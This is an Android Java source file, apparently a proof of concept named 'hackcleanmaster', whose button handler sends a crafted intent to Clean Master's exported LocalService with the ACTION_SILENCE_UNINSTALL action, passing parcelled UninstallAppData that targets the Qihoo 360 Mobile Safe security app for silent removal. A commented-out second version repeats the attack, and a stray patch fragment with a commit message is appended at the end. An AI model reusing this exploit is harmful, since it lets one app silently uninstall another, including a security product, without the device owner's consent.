package com.example.hackcleanmaster;

import com.ijinshan.cleaner.bean.New_UninstallAppData;
import com.ijinshan.cleaner.bean.UninstallAppData;

import android.support.v7.app.ActionBarActivity;
import android.support.v7.app.ActionBar;
import android.support.v4.app.Fragment;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.view.LayoutInflater;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.os.Build;

import java.util.ArrayList;

public class MainActivity extends ActionBarActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        if (savedInstanceState == null) {
            getSupportFragmentManager().beginTransaction()
                    .add(R.id.container, new PlaceholderFragment()).commit();
        }
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {

        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        int id = item.getItemId();
        if (id == R.id.action_settings) {
            return true;
        }
        return super.onOptionsItemSelected(item);
    }

    /**
     * A placeholder fragment containing a simple view.
     */
    public static class PlaceholderFragment extends Fragment {
        
        private Button btn;

        public PlaceholderFragment() {
        }

        @Override
        public View onCreateView(LayoutInflater inflater, ViewGroup container,
                Bundle savedInstanceState) {
            View rootView = inflater.inflate(R.layout.fragment_main, container, false);
            
            btn = (Button) rootView.findViewById(R.id.button1);
            initButtons();
            
            return rootView;
        }
        
        private void initButtons() {
            btn.setOnClickListener(new OnClickListener() {

                @Override
                public void onClick(View v) {
                    Context context = v.getContext();
                    
                    /**
                     * version 1
                     */
                    
                    // set basic info
                    Intent intent = new Intent();
                    intent.setAction("com.cleanmaster.mguard.ACTION_SILENCE_UNINSTALL");
                    intent.setClassName("com.cleanmaster.mguard",
                            "com.cleanmaster.service.LocalService"); //not necessary
                    
                    // set array list
                    ArrayList array = new ArrayList<UninstallAppData>();
                    UninstallAppData uad = new UninstallAppData();
                    uad.a(0);   //set flag, UninstallAppData.d()
                    uad.b("com.qihoo360.mobilesafe"); //set target app, UninstallAppData.c()
                    uad.c("unknown");   //not necessary, UninstallAppData.e()
                    array.add(uad);
                    intent.putParcelableArrayListExtra(":uninstall-packages", array);
                    
                    // start
                    context.startService(intent);
                    
                    /**
                     * verion 2
                     */
                    
//                    // set basic info
//                    Intent intent = new Intent();
//                    intent.setAction("com.cleanmaster.mguard.ACTION_SILENCE_UNINSTALL");
//                    intent.setClassName("com.cleanmaster.mguard",
//                            "com.cleanmaster.service.LocalService"); //not necessary
//                    
//                    // set array list
//                    ArrayList array = new ArrayList<Object>();
//                    UninstallAppData uad = new UninstallAppData();
//                    uad.d = 0;
//                    uad.c = "com.qihoo360.mobilesafe";
//                    uad.e = "unknown";
//                    array.add(uad);
//                    intent.putParcelableArrayListExtra(":uninstall-packages", array);
//                    
//                    // start
//                    context.startService(intent);
                }
                
            });
        }
    }

}

@@ -3026,32 +3026,16 @@
 rvice%22);
- //not necessary
 %0A       

fix an erroneous comment